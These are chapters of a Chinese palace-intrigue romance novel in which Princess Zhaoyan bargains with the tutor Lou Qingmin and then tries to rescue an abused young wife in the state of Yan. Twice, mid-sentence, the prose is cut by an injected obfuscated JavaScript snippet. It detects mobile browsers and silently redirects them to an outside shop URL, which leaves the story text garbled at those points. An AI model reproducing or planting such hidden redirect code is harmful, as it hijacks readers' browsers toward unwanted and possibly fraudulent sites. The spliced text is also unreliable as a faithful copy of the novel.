直到日暮时候,朝颜驻在厢房外,才觉着自己晨时与娄卿旻放声谈条件时是多么勇敢无畏。如今要与他正面交谈,还略有些怯场了,身子紧绷绷的杵在原地,半天没迈出一步。 说起来,他二人还从未单独处在一室中,也从未正式交谈过。貌似从逃亡路上撞到他那日起,他们便一直是一逃一追,一来一往,像彼此的克星般,谁也不让谁。 守在门口的暮商弯腰抬臂对着朝颜行一揖礼,而后移到张开的檀木门边,语气恭敬:“殿下请,大人已恭候多时。” …… 见眼前的艳丽少女迟迟没动作,暮商猜到她是打退堂鼓了,连忙压低声音安抚道:“殿下放心,我家大人不吃人。” 闻言,朝颜扯了扯唇角,有些为难。其实在这之前,暮商反而更害怕公主进去跟大人大吵一架,回想起白日里公主那副临危不惧的模样,他都有些佩服。 暮商半开玩笑半认真的鼓励像是一道镇定符,将朝颜原本悬在云端的心接了下来。她垂下眼睫摸了摸腰间悬着的白玉,而后咬牙换了副表情,迈了进去。 男女有别,共处一室本就容易惹人非议,暮商未闭门,悄悄退下。 屋外斜阳淡照,晚霞漫天,万缕金光打在窗棂上,透进淡淡一层霞光,整个屋内都变得朦朦胧胧。 朝颜走得极慢,脚下每一步都用尽宫中所学礼仪,迂缓中试探。反观娄卿旻,此刻正跪坐在案前,右手提着狼毫,一笔一笔写着什么,神情十分认真。 华纪盛产美人,不得不说娄卿旻的皮囊也十分俊美,不说话的模样确实让人看后心情愉悦,朝颜盯着他出神了片刻。 “殿下。” 男人略含沙哑的嗓音灌入耳中,带着几分倦意。 朝颜被这一声殿下唤回心神,头脑顿时清醒,看见他忽然想起先前他坐在马上的病弱模样,想到是替兄长而伤,她语气颇为惭愧:“大人的伤可好些了?” 他没回话,抬头看了朝颜一眼,指着方案对面道了一句请坐,朝颜便整理好衣袍,极其轻柔地移到坐垫上,怕娄卿旻介意男女之间的三尺距离,特意选在离他最远的位置。 朝颜正对着窗口向光处,整个人被余光映照得透亮,一览无余。而娄卿旻背着光,隐在幽暗处,神秘姿态让人看不透。 霞光刺眼,朝颜抬手在额前挡了一瞬,看向前端。娄卿旻紧接着抬眸,二人的眼神电光火石般碰撞到一起,心中各怀鬼胎,又怕被对方看破,纷纷移开了目光。 娄卿旻这才迟迟地回她:“好些了。” 自出宫以来朝颜便一直高束乌发,扮着男装,不施粉黛,整日素面朝天,简练清雅,打眼看过去便知是个锦衣玉食的富贵公子,待人和善好相与。而娄卿旻表面看上去是个谦谦君子,实际冷漠至极孤傲不群。 冷热不一,实在不是同类人。 气氛沉静,朝颜如坐针毡地看着娄卿旻完成最后一笔后,放下手中狼毫,抬手将皮革推向案角边缘,等它风干。 皮革上的图画有几分眼熟,好奇心驱使着朝颜多看了几眼,才发现上面所画的居然是华纪国地形图,其中还包括几处边防布守和蓄养精兵之地,此物若是不小心被敌军偷了去,攻下华纪只需弹指一瞬。 不过这幅图竟出自娄卿旻之手? 朝颜根本想不到。 前世她初次见到那张图,见其上隽秀有力笔走龙蛇之迹,以为会是某个武力出众的潇洒将军所留,不曾想居然是娄卿旻这样的文人学士而画。 朝颜忽然领略了先人为何会说出人不可貌相的话语。 冥冥之中有些事似乎早已注定。前世衡无倡称王后,有人便将此物借花献佛送到他手上,也为华纪最后的覆灭埋下隐患。 所有事都提前了整整一年,那她与衡无倡的事还会再次发生吗?记忆中那双狠厉的凤眼浮现在眼前,种种不堪的回忆似乎就发生在昨日,朝颜眸中多了一丝愤恨,是她自己都未曾察觉到的怒。 对向端坐的娄卿旻察觉到朝颜的表情变幻,默默向窗边移了几下,挡住那道刺眼的光。 刚想开口便听见女人指着那副图,先他一步道:“此图居然出自大人之手,那大人定知道这幅图的重要,您千万要保管好,不可落到别人手中。” “那是自然。” 该谈正事了,朝颜忽然直直看着他,正色道:“几日相处下来,我知少傅大人对华纪的忠贞之心日月可鉴,要我和亲亦是不想让华纪陷入危难,属情理之中。但有些事我现如今不便与大人细说,我只想告诉大人,燕国有难,若不及时解决便会连累华纪一齐覆灭。” “所以我要离开,需要大人您帮我隐瞒身份,待解决完燕国之事我便回去和亲,绝不会拖累大人,届时我也会亲自登门拜访与您解释这一切。” 她说得义正言辞,不拖泥带水,一下便堵住娄卿旻那出口成章的嘴。反观娄卿旻,一言不发,静静注视着她。 “口说无凭,既然是做交易,必然事事都讲求利弊,害怕大人利益受损所以我特意带来了这个。”说着朝颜将金御令从袖口中拿了出来放在长案上,将它缓缓推到娄卿旻面前,“这,便是我的诚意。” 青葱指尖拂在金色令牌上,显得格外白,细嫩手指竟比金御令还惹人注目。 她带着十分的诚意,低声与他解释:“此物名为金御令,可执掌兄长背后培养的三千精兵。兄长与大人关系如此好,是否也知道此物?” 娄卿旻的视线落在那块金色令牌上,眼底透出一片墨色。 他自然知晓此物,因为那三千精兵是太子与他一手培养的,安置在百草林的隐秘村落——郯庄。而金御令自打造时起便有两块,他二人各持一块,均可发号施令。 如此重要的东西为何会到朝颜手上? 今日又为何出现在这里? 想到羽堇突然出现,娄卿旻心中便有了答案。 朝颜还在等他开口,眼含期待,另一只手在案底下不安地攥着衣袖。 娄卿旻将这一切都看在眼底,只说了一半真话:“此物贵重,太子殿下将其看得很重要,臣勉强知道一点。” “不过殿下如此堂而皇之地将它拿到臣面前,难道不怕臣走漏风声,让太子与殿下落个私养府兵、谋朝篡位的罪名?毕竟国君不知晓此物的存在。”他突然心血来潮,想吓吓这位公主,然而话音未落,他便听到少女细腻坦然的话语传入耳畔: “我信你。” “少傅大人,我信你,兄长也信你。”她又重复一遍。 “大人对华纪赤胆忠心,与兄长情同手足,实乃贤臣良友。况且您白日里说得话,也是对我对华纪寄予了厚望,我想除了大人,再无第二个人能让我心甘情愿拿出此物。” “何况大人是君子,定然做不出两面三刀之事,我说的对么?” 其实她说这些话都是故意的,她也害怕娄卿旻直接将她供出去,毕竟万人之上的国君比联姻的棋子更让人心动,明眼人都知晓谁胜谁负。 但她以娄卿旻与太子的兄弟情谊先入为主,对娄卿旻又是赞扬夸奖,又是挖坑让人跳,是个人都会架不住她这一招。 谁知娄卿旻是个不一样的,他故意沉默不语坐着,看朝颜的耐心一点一点耗尽。 气氛如箭在弦,有些紧张,娄卿旻迟迟不答复,朝颜心里七上八下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405594|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在她快要坚持不住时,他终于接话:“殿下笃定了我会同意?若我不接受这场交易呢?” 话又被他抛了回来,朝颜知道眼前人会答应,紧接着一巴掌拍在娄卿旻面前的令牌上,“大人美名在外,是孝子更是忠臣,也唯有你能让我如此信任了。日后我们便是拴在同一条绳上的蚂蚱,大人不必再试探我。” 不知怎地,朝颜说这几句话时面上泛着笑,双眼明亮似秋波,坚定的语气,不吝啬的夸赞,让娄卿旻原本平淡无常的心轻轻颤了几下,这感觉有些奇特,是先前从未有过的。 思虑半晌后,娄卿旻应下,“我可以帮你,但……” “前提是我到达时间回去和亲?”朝颜知道他的顾虑,特意表明态度,“大人放心,届时我会安分和亲。只是眼下需劳烦少傅大人帮我隐瞒身份,传一封书信拖延回城时间,我不想再被王上派来的人追来赶去。或者大人也可以派人监视我,待我任务完成就送我回城。” 话都说到如此地步,娄卿旻没理由不答应,随即点头道了一声“好。” “金御令太过贵重,于我无用,公主拿回去好好保管,待太子殿下归来再还与殿下。” 料到娄卿旻不会接受金御令,朝颜也不继续端着,反正她本就不想给他,而后一不做二不休地将令牌接起来连忙放到衣襟里,生怕娄卿旻反悔。 “那边境如何了?兄长仍没有下落吗?” “经上次一战,峮防的山匪亦是元气大伤,暂时没有动作。至于太子殿下……公主不必过于担心,有时没有下落也不见得是坏事。” 见娄卿旻也是在变相安慰自己,朝颜也没继续追问。 但她是个守信之人,不想占娄卿旻便宜,更不想欠人情,“既然是做交易便不能让大人亏本,我可答应大人满足您一个心愿,只要我活着便始终作数,大人不妨想一想您想要什么。” “成群姬妾或是无上权利,大人可随意选择。” 听到朝颜不加掩饰的这番话,娄卿旻想起什么不好的回忆,面颊与耳骨泛起一层异于常态的红,紧接着脖颈处打了个颤栗,身上也泛起薄薄寒气。 他努力将胸前那股不适压下去,眼神变得冷峻,表情严肃,“公主,慎言。” 朝颜没注意到他的眼神,只看到那泛红的耳畔。 便觉得只是提了句成群姬妾,娄卿旻便羞得宛若惊弓之鸟,她不知是该说此人过于羞怯,还是该说他太过正经,古板无趣。交易既定,朝颜便没有再打搅的必要,与之告别。 临走时,余光瞥见男人腰身处悬着的那把剑,先前没注意,想不到那看似冰冷的剑柄后挂着的剑穗居然如此精致,似乎是由人手一点点编织而成的。 看着便不是寻常男子所喜的物什,既如此,那或许就是女子赠予的定情之物了。 见状朝颜眼底漫延出一抹玩味的笑。 难怪,难怪他方才说起姬妾时,会是那个模样。 翌日一早,朝颜带着羽堇槐夏二人大摇大摆地出了客舍,本以为娄卿旻会派人监视她,没想到他什么都没做。三人一路西行畅通无阻,走在无人追赶的宽敞道路,朝颜竟然觉得有些不习惯。 一旁的槐夏突发感慨,对朝颜说:“没想到少傅大人居然如此信守承诺,确实是正人君子。” 朝颜并不觉得此事有何可夸,反问她:“言出必行难道不是每个人都应做的事么?”虽然天下确实有许多不守信之人,譬如普桑那位。 但世间存在许多临时变卦之事,每个人的德行都不一样,与其关注别人,不如将自己那份做好。 她们奔波多日,终于冲破层层阻挠,踏上拯救燕国之路…… 9. 燕国之行(一) 燕国地处华纪普桑二国中间,北面临近北狄,两国交界的门关是各国来往的必经之地。一踏进燕国地界,便能瞧见接踵而至的商旅车队。 国土面积不大,可利用的东西便不多。任谁也没料到,小小燕国居然人才济济,自建国起,高堂之上便总贤臣名士协助国君管辖政务,亦有英雄将士开疆拓土建立城池,宫廷之外则有商贾、小贩和衣食住行上各司其职的劳动百姓。 朝颜曾听闻,华纪最高阶的绣娘也出自燕国。 所谓麻雀虽小,五脏俱全也不过如此。 羽堇拿出符节带二人过了嘉阳关,又行了几里地,累得满头大汗时终于到达燕国都城,朝颜驻足在城门口,抬头望着眼前高大城墙,忍不住感慨。 曾经被困在宫中,只听宫人描述过,燕国在国君燕融的治理下国泰民安,蒸蒸日上。如今亲眼看到,身临其境,才觉得天地广阔,许多东西难得一见,更是难以言说。 这样一座充满希翼的都城,前世若非被歹人所害城破家亡,或许能更长久一些,日后也可与华纪的地位不相上下。 地图上的燕国城池外圆内方,与华纪有相似之处,城外均有一圈环形的护城堤,城墙上窄下宽,高台夯土筑成,唯一不同的是城墙上凹凸有致的物什,新鲜少见,是修建时在黄泥中混杂的坚硬螺壳石料,远远望去别有一番风味。 三人手持符节度过门关,便正式进入了燕国都城。百姓居住的外城距离燕国王室贵族所居的廓州城内城还有数十里地,朝颜便想着去商铺租几匹马代步,以最快速度进城。 道路两侧是各式各样的摊贩,整整齐齐排成一列,其后是忽高忽低的土坯房,有些萁屋顶上盖着厚厚一层茅草,只有极少数人家屋顶被青瓦所盖,用来遮天蔽日,挡风避雨。 只见不远处大堆人马拥在一处,捱三顶四,嘈杂混乱,其热闹场面可堪比每年的仲春之会。朝颜自重生后便不爱凑热闹,故而没去管。谁知越来越多的人围观,将他们要去商铺的路堵了个水泄不通。 几个男子直直朝着他们挤过来,原本紧挨着的三人被迫分开。 朝颜被为首的男人撞了一下,身形半歪,腰间悬着的玉组佩啪的一声掉到地面,那人道了句抱歉便转身看热闹去,朝颜没生气,无奈低下头,扶着飘摇不定的帷帽弯腰去捡。 场面纷乱,只听到人群中传来一声中年妇人的恶语咒骂,声音极其大:“你个狐媚子,不要脸,你还敢说不嫁?那你出去勾引男人作甚?”嗓音尖锐刺耳,生怕众人听不见。 紧接着一道柔软女声娇娇地哭喊着:“夫君,我不嫁,我没有,我真的没有勾引男人。” 有夫君,还要嫁人? 朝颜觉得实在匪夷所思,皱着眉头听俩人对话。 那中年妇人豁出去似得,把一肚子苦水全倒了出来:“当初若不是看你长得水灵,能为我家传宗接代,不管说多少好话我都不会让我儿把你娶进家门。你倒好,嫁进来一年了,肚子还没动静,不在家安安分分伺候我便罢了,居然偷偷跑出去勾引外男,真是丢了祖宗的脸啊!” “造孽啊造孽!”老妇人指着女子的鼻子骂道。 人群之中,女子跪在地上,不顾形象地爬到男人身侧,抓着他的衣角,把他当成救命稻草紧紧攥着,泪流满面,声音哽咽:“我没有,我真的没有,夫君,夫君你替我跟母亲解释啊!” 男子像是接触到什么毒物般,一脚将她踢开,转而抱着手臂跑到远处不发一言,仿佛眼前人不是他娶来的妻子,比对待陌生人更要冷漠。 听到老妇人说她嫁到婆家一年无嗣,朝颜便觉得此女子与前世的自己同病相怜,心间不免蒙上几分酸涩,冷眉一蹙,顺着人群中狭窄的缝隙看去。 几个肥硕身姿的中年妇人把一个年轻女子围在内里,双手叉腰面露狠色站在那,要多跋扈有多跋扈,其中几位婆子衣着略显富贵,衣裳袖口与交领处还掺着鲜艳的锦布。 反观跪在地上的女子,身穿一袭灰衣麻布衫,其上到处是缝缝补补的洞,弱弱趴在那,浑身瘦的没有几两肉,容颜憔悴,像是长期营养不良所致。 很显然,不远处站着的年轻男子是她口中的丈夫,身上穿着崭新的宽大锦袍,其上还有丝绸所绣的华虫,何其光彩。 明明是一家人,却差别如此之大。 朝颜脑袋蹦出一个词:丧尽天良。 不过那姑娘虽然灰头土脸的,面上那双酷似圆杏的水眸实在让人难以忽视,此刻哭得梨花带雨,鼻尖红红的,让人看了心疼。 若非如此,老妇人也不会说出狐媚子之类的话。 可怜的女子,众目睽睽之下被夫家如此对待。她想帮她,但不知事情缘由也不敢贸然出头,于是便开口问身侧看热闹的男子,“这位仁兄,方便问问你这是发生了何事?” 男子上下打量了朝颜几眼,见人蒙着面有些奇怪,一身天蓝色直袍长衫,虽样式简单,身上的华贵之气却让人无法忽视,他眼里露出艳羡之色,随后无奈摇摇头解释:“唉,一看你就是外来人。” “还不是城东家的那位,看上他家儿媳了,让他送过去给人做小妾。”他手指着年轻女子,语气责怪道:“不过话说回来,要不是前日里她去人家店里买东西,怎会被人家一眼看上?依我看,女人还是少出去抛头露面,到时惹一身骚,你说这不是平白给家里遭祸么?” 其他男子附和道:“真是不守妇道。” “就是就是。” 本不想多管闲事的朝颜,听到这群人不分青红皂白地将过错推到女子身上,莫名来了火气,还就打算插手管一管了。 分明是那位城东的男子好色在前,怎地女子露一面便是罪恶滔天,不守妇道了? 美貌难得,对出身于富贵人家的女子来说,有所庇护还好些。若小门小户的平常女子生的貌美一些,便会平白遭遇许多非议,总能惹上无妄之灾,如今日一般。 但无论如何也扯不上女子守不守妇道这事上,朝颜对此深觉烦闷,看向这群男子,嗓音铿锵有力:“妇道为何?贞洁,孝敬,卑顺,勤谨,敢问这女子只是出门一趟,哪一条未恪守?又犯了什么错?” “女子本无罪,只是怀璧其罪,美貌便是原罪。” 男子听完似懂非懂,连连摇头,极度不赞同朝颜所言,“什么无罪,她明明就是有错在先!她要是不出门,她美若天仙又怎样?那位大人难不成会上门抓她?说白了她就是不守妇道!” “这位兄弟,我称你一声仁兄你便要当得起这个‘仁’字,你的话着实有问题。她有什么错?难道女子非要一辈子躲在闺房里,一辈子不出门,不与人接触,才叫守妇道?”朝颜一番言辞激烈,大部分人都被吸引过来,围观他们。 不想男子被她这几句话整的面红耳赤,恼了:“你是不是男人啊,怎么为一个女子说话啊?” “这与我是不是男人无关,因为我所言句句在理。反过来看,若你们男人不好色,守好夫道,便也不会惹得人家鸡犬不宁!” “对,或许你说得对,她是有错。她错就错在为何不直接戳瞎那位的眼,让他多看了几眼便要将自己讨要过去,错就错在为何当初识人不清嫁给这个窝囊男人,没有一点大丈夫本事,保护不了自家妻子还将她往外推!不知阁下在家中是否与他一样?”朝颜隔着层薄纱死死盯着眼前男子,气势一点不弱。 “你……” 男子听完这话双眼变得通红,面色铁青,说不过便要挥拳打上来,朝颜扯着帷帽后退一步躲开那人的动作,本想踹他一脚,不料下一刻高大坚挺的背影出现及时将她护在身后。 羽堇拿着未出鞘的剑横在二人中间,表情十分冷漠,男子看有人为她撑腰,什么话都不敢说,狠狠甩一下衣袖,落荒而逃了。 朝颜回神,想到那日在丛林中从那几位壮汉手下逃离,方才又差点被男子打到,便觉得男女力量还是过于悬殊,若有机会一定要学些拳脚之术以便自保,总不能事事都靠羽堇。 少年惭愧道了一句:“殿下受惊了。” 毕竟是自己惹下的祸,朝颜连忙安慰羽堇一句无事,扯着身后槐夏的手往人群中又探了几步。 女子跪在男人面前,还在苦苦哀求:“夫君,我求你,我求你别把我送过去好不好?” “我又能如何?我敢如何?”男人面露难色,连连后退,嘴上还不忘责怪妻子:“都是你自己不守妇道,也不能怪我,我又怎敢和那位大人说一个不字?” “不是你说让我去城东家店里换些粗盐吗?” “我哪里知道那日他就在门后。”女人抹着泪解释。 话毕,那位身着麻衣的恶毒婆子脸色一变,直接踹了女人一脚,不满意她推卸责任,呸了一声:“我可没让你换东西。你个不要脸的东西如今还敢狡辩了?要不是你勾引人家,人家会点名要你?真以为你是天仙下凡了?” 再说如今世道,贩卖私盐可是死罪,任谁都不敢私自存盐,女子这话要是被有心人听去,定会遭来杀身之祸,好在众人只顾着看乐子,无人在意她所言。 婆子心中也有些虚了,城东那位私藏粗盐也是她无意听那位与人交谈说漏嘴的,本来只是支走自家儿媳的借口,谁知她眼下要将自己供出来,婆子更加坚定送走她的心。 女子见解释无果,索性爬起来认罪,朝着婆子磕头,“母亲,母亲,千错万错都是我的错,我只求你千万别把我送走,我日后一定在家安分守己,替家里传香火。” “香火?你还敢说香火?” “我白白养你一年了,养只鸡都能下好几窝蛋,你呢?白吃白喝我一年,屁都放不出一个,我要你有什么用?今日你嫁也得嫁,不嫁也得嫁!” 女子知道婆婆下定决心要送她走,直直将头埋在地下,嘭嘭地磕,“求求你们,救救我,救救我。” 额上已经破皮流了血,肿起一大片,还在四处给人下跪,奢望眼前看戏的人能伸出援手救她一命,但周围皆是看热闹的男子,没人肯出头。 她夫君觉得在外人面前丢了面子,看不下去便叫着来接亲的几个婆子,三两下把她拖起来,使劲儿往屋里拽,根本不管她是否受伤,划破的衣衫已经露出雪白肌肤,也不为她遮蔽。 几句不下蛋仿佛让朝颜看到了前世的自己,被众人唾弃不孝,一下将她拉入不好的回忆,待回过神后见到女子如此惨状,匆忙喊出声:“慢着!” 老妇寻着声音出处找到朝颜,草草瞥她一眼嘲道:“哪里来的臭小子,少多管闲事!” 见状槐夏想上前骂人,朝颜一把将她拉了回来。没理会婆子的嘲讽,心生一计连忙走上前盯着趴跪在地的女子道:“你们瞧瞧,本来好好一个美人,被你们拖来拽去,添了这么多伤,若是送过去,那位大人怕是不会高兴。” “依我看,你们改日再来接亲,索性这么多人看着,她也跑不了。鄙人不才,或许可以帮你们劝劝她,让她自己心甘情愿嫁过去,到时那大人被她哄得开心,你们不也能从中获利么?”朝颜对一旁接亲婆子说。 接亲人犹犹豫豫,没理会她所言。 朝颜见状摆出一副随意模样,装作转身便走的姿态,“你们不听便罢了,我只想提醒你们,若真这样连人带伤送过去,她要是再反抗起来,把大人气着,扫了那位的兴,到时必定会牵连你们。还不如缓几日再送去,到时帮大人调教好了,大家皆大欢喜。” “你一外来男子,这么好心给我们出主意?”显然有位婆子将她的话听进去了。 “我也是见不得美人受苦,想着能帮便帮,而且……” 言罢朝颜给了羽堇一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405595|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个眼神,羽堇心中明了,便将周围看戏的百姓全部驱赶四散,而后朝颜纤长玉指一抬,摘下帷帽,露出一张明艳动人的面庞,灵动的眼眸,水润的樱唇,肌肤宛如瑕洁白玉,贵气十足。 接亲婆子见多识广,一下便看出朝颜女扮男装,极其震惊喊出声:“你……你竟是个女子!” “如此,可以让我劝劝她了吗?” 话都说到这份上,接亲婆子也知道朝颜打得什么主意了,觉得她所言也有道理,穿戴又非富即贵,又因燕国来往商人贵族居多,也不敢随意惹事,几人相视一眼,便急匆匆回府传话去了。 送走接亲的人,那位骂人的婆子还依依不舍地盯着朝颜那张脸左看右看,想看出花儿来。朝颜被她盯得有些不耐烦,“这位婆婆你还要看多久?” 不施粉黛依旧貌美的容颜,少见的美人,就连一旁男子都瞪大了眼,心里忍不住惊叹。 婆子脑子极快,脸上闪过一丝贪婪算计,被朝颜提醒后立马换了副嘴脸,语气故作敬畏:“行,你劝,慢慢劝。” 而后摆了摆手,唤自家儿子出去,“轩儿,娘有话跟你说。” 羽堇也背着手出了门,屋内只剩她三位女子,那姑娘认命般跪坐在地上,抬眸看着朝颜,有些委屈:“女公子,你也觉得是我的错,对么?” “当然不是你的错,我在帮你拖延时间,不然如何救你?” 闻言女人眼里立刻有了光亮,“真的吗?” 那丝光亮代替了原本眼中的泪花,女人本就娇嫩的脸颊愈发让人想疼惜,朝颜半俯下身,言语极尽温柔:“真的,你本就没错,今夜我会找时机将你偷偷带走,逃到别人找不到的地方,再也不回来可好?” “可是……我不知该去哪儿。我自小便父母双亡,好不容易遇到疼我的夫君,谁知我嫁进来一直无子,想来也是我的错,是我对不住夫君,枉他从前待我那么好。” “不必太过自责,子嗣一事本就是天命所定,强求不来。眼下你需要逃出去,届时我们在想别的法子如何?” “还是你打算为了从前夫君对你的好,决定把后半辈子交到别人手上,真嫁到城东家去?”朝颜气质出众,说话细声细语尤其温柔,让人听了莫名安心。 闻言女子停止哭泣,抬起头道:“不,我不愿意。” 那便够了。 有她这句话,朝颜便会尽最大努力救她离开,至少将来谈起这件事,能回忆起自己所救之人是清醒的,而不是一个迷迷糊糊不为自己着想的愚钝之人。 青天白日,人多眼杂,不便行动,只能夜里偷偷来。 直到临走前,朝颜才知道女子名为连瑕,她让连瑕别再哭闹,好好用膳,羽堇早早买了外伤药在门口候着,朝颜与槐夏帮人擦过药便辞别了,对婆家说明日再来。 那婆子不知怎地突然善解人意起来,高高兴兴送朝颜几人走了,还欢迎他们再来做客,那副讨好的嘴脸让朝颜反而不自在,但也没多想。 明月高悬,更深人静。 朝颜一行人从客栈后面偷偷溜出来,找到连瑕夫家。见其中一间屋门上着锁,她便知道连瑕在那里。老婆子白日让连瑕进主屋歇着,也只是做做表面功夫,夜里依旧把她独自关在深不见五指的小木屋。 主屋已经鼾声如雷,睡得很沉,羽堇特意带了迷烟,透过窗纸吹了进去,听大夫说这药效很强,保证睡到第二日公鸡打鸣都不醒。 这算是没办法的办法,光明正大与他们交谈不行,便只能使些阴谋诡计,这也是朝颜前世在普桑学来的。 羽堇撬锁,槐夏望风,朝颜进去寻人,连瑕也很是配合,他们这次逃亡便也算得上顺利。只是乐极生悲,盛极必衰,还未真正高兴庆祝,转头便遇到一行人,数十人的队伍相较庞大,在漆黑一片的暗夜中施施而行。 也不知燕国夜里是否有巡侍暗卫,但朝颜知道若被逮住,又会惹上一堆麻烦。思及此他们几人完全不敢动了,静静靠在道路一侧,低头弯腰,像鹌鹑一般,生怕被官府队伍注意到。 队伍离他们愈来愈近,最后停在朝颜身前,她仍然坚守阵地,任凭冷风将衣衫吹得猎猎作响,她硬是连眼睛都未眨一下。 脚步声在三尺开外停了下来,朝颜转了几下眼瞳,一双白色高头履映入眼底,朝颜觉得十分眼熟,慢慢向上移,玄色外袍下,淡灰矩领窄袖长衣包裹着高挺的身子,腰间系着的碧色扇形玉璜佩贴在衣袍上,站在那儿稳健得如同一颗青竹。 这正派庄严的模样让朝颜蓦地想起那位大人,她反应过来什么,下意识抬头看去。 那面容,那眼神,分明就是那位! 熟人见面,分外眼红。 一次又一次,朝颜真的很讨厌这种被抓包、被撞破的见面方式,最关键的是越不想见越能遇到,她有种不知如何解释的无力感。但在一些人眼中,这是缘分使然。 娄卿旻也未曾想会在此处碰到朝颜,细想想,和这位公主的相遇总是出人意料得巧。他故意延迟计划扮作商人夜里才赶来燕国,一是不想引起燕国人怀疑,二是不想与朝颜一行人遇上,哪知道居然歪打正着,又一次撞破朝颜的“好事”。 月黑风高夜,这几人不在屋里待着便罢了,反而鬼鬼祟祟在此拖着一位陌生女子满街乱窜,实在是小孩子过家家闹笑话,更莫要说什么礼节礼数。 娄卿旻眼底有几分意味不明的试探,冷然启唇:“殿下,这便是你说的性命攸关的大事?”语气中带着淡淡的责怪,仿佛看错人一般。 高大身影挡住日光,朝颜感觉到眼前人压迫感十足,随口说的话都像一把刀子,锋利地刺到人心间,“深夜携人出逃?简直不成体统。” 又被教训了,朝颜不与他直视,草草解释:“事出有因,我也是不得已为之的,大人权当没看见。” 10. 燕国之行(二) “我自然可以当作没看见。” 不知怎地,娄卿旻的语气突然降了下来,幸灾乐祸般。朝颜察觉到他话中这丝怪异的调笑,抬头看去便见到娄卿旻下颌微抬,墨眸一转示意她向后看,言语冷漠:“事情与我无关,我不理会,但你们身后之人答不答应,便不一定了。” 只见不远处道口出现一行大摇大摆的黑影,乌央乌央往这边赶。朝颜定睛一看,竟是连瑕的婆婆和白日里那几位接亲妇人。 前有狼后有虎,朝颜顿感不妙,但无处可逃。早知道就该快些行动,也不至于“恰好”遇上少傅大人,还被婆子当场抓住。她轻轻扶额,认命般自嘲,心道自己在娄卿旻这里又多了一段笑话。 老婆子眼尖,跑过来走到人群中一把揪住躲在朝颜身后的连瑕,嗓音尖锐,“好啊,胆子肥了!三更半夜的你居然敢跟别人逃跑?” 连瑕无处可躲亦不敢反抗,任由婆子拽着耳朵向她那方去。 其余几位接亲婆子面面相觑,见朝颜身侧多了个极具威严的男人,一时也忘了来此的目的。 白日她们几人回去后,将有人为连瑕出头的事与自家公子禀告,谁知公子一听有比连瑕美貌更甚的女子,双眼冒着金光,转念便把主意打到这位外来女子身上。 接亲婆子本是为了找连瑕婆家说清楚,谁知连瑕婆家贪婪至此,竟也想从中分一杯羹,几人便出主意让连瑕与她们合伙设计将这个女子顶替上去,谁知在小木屋没找到人,她们便慌慌张张出来寻连瑕。 如今见朝颜身侧又多出一位贵公子,她们也不敢轻举妄动。 同身为女子,接亲婆子也看出自家公子仗着有城主撑腰便无法无天,整日沉迷酒色,如今还强迫别家妻子,企图霸占外来女,迟早有一天得栽个跟头。 殊不知接亲婆子们看向朝颜那不加掩饰的邪恶神色,全被一旁的娄卿旻看在眼里。 他除去做好自己的本分职责外,向来不喜管闲事,尤其家事。不过见老婆子对年轻女子那副恶劣行为,也忍不住皱了眉。剩下几位妇女虽未吐恶言,但歪心思全然暴露在脸上,明显对朝颜有所企图。 偏偏朝颜自己又是个反应慢的,全心都在那女子身上,见其被虐打,忍不住上前制止。 老婆子要动作的手被拦下,转过头看向朝颜,表情宛如猛兽,想到接亲婆子所言,突然贴近朝颜道:“若真坏了我的好事,你要怎么赔?救人救到底,不如你替她嫁过去?” 她一下说漏了嘴,旁边接亲婆子们吓了一跳。 不过这边话音刚落,羽堇身侧佩剑便落到婆子脖颈下,言语极度冰冷:“放肆!” 月夜之下,利刃泛着刺眼银光,那婆子感觉脖颈冰冷,一下便老实了,连连后退解释道:“我就是说笑,说说笑,再说了我一个半截入土的老婆子,哪里敢啊?” 在朝颜几人身上没讨到好,婆子转身就把气撒在连瑕身上,十分野蛮地捏住连瑕纤细的小臂,狠狠扭了一下,力气之大,朝颜远远看着都感觉到一股钻心的疼。 连瑕不敢叫出声,怕婆婆变本加厉。 “一定是你这个狐媚子撺掇人想逃对吧?半夜三经,真是不要这脸了!” 刺耳咒骂与丑恶嘴脸,简直不堪入目。朝颜想上前阻拦,却被槐夏摇摇头及时拦了下来。那婆子不追究朝颜一行人将自家儿媳半夜带走之事便是好的了,此时不管如何也不敢再与人硬碰硬,免得被人告上衙门,届时有理也说不清。 “我好吃好喝白养你一年,如今到你为我们做贡献的时候你怎么敢跑啊?” 想到白日连瑕当众脱口而出的话,婆子也顾不上朝颜,下定决心道:“明日我就把你送过去,让你再跑!”而后使劲儿拽着连瑕的乌发,重重打向她的后背,“让你再跑!让你再跑!” 几人在那方拉扯,争吵不休,最后婆子带着连瑕走了,接亲人跟在后面一齐离开。朝颜没理由阻拦,硬生生看着连瑕被带走。 娄卿旻全程围观只抓住其中几个重要的词,不了解其中状况,他垂头看着眼前闷闷不乐的人,难得主动开口问:“殿下这是?” “我是救她。”朝颜接话。 “她若真有性命之忧,为何不让家人报官,却要你一外来女子搭救?”朝颜似乎很喜欢帮扶弱小,尽管她自己也陷在泥潭无法自救,但她还是如此乐于助人,见不得别人蒙难,真如幼时一般无二。 她头脑伶俐,做事雷厉风行,但想出的法子竟是些旁门左道,是最最低等之策。 但娄卿旻向来不喜欢这种解决事情的办法,想到那几位婆子的眼神,还是忍不住提醒了句:“殿下莫要当官府是白拿俸禄吃干饭,若真有冤屈上报衙门自会有人帮她解决,你也不必深更半夜携人逃跑。况且,别人的家事最好还是不要插手。” 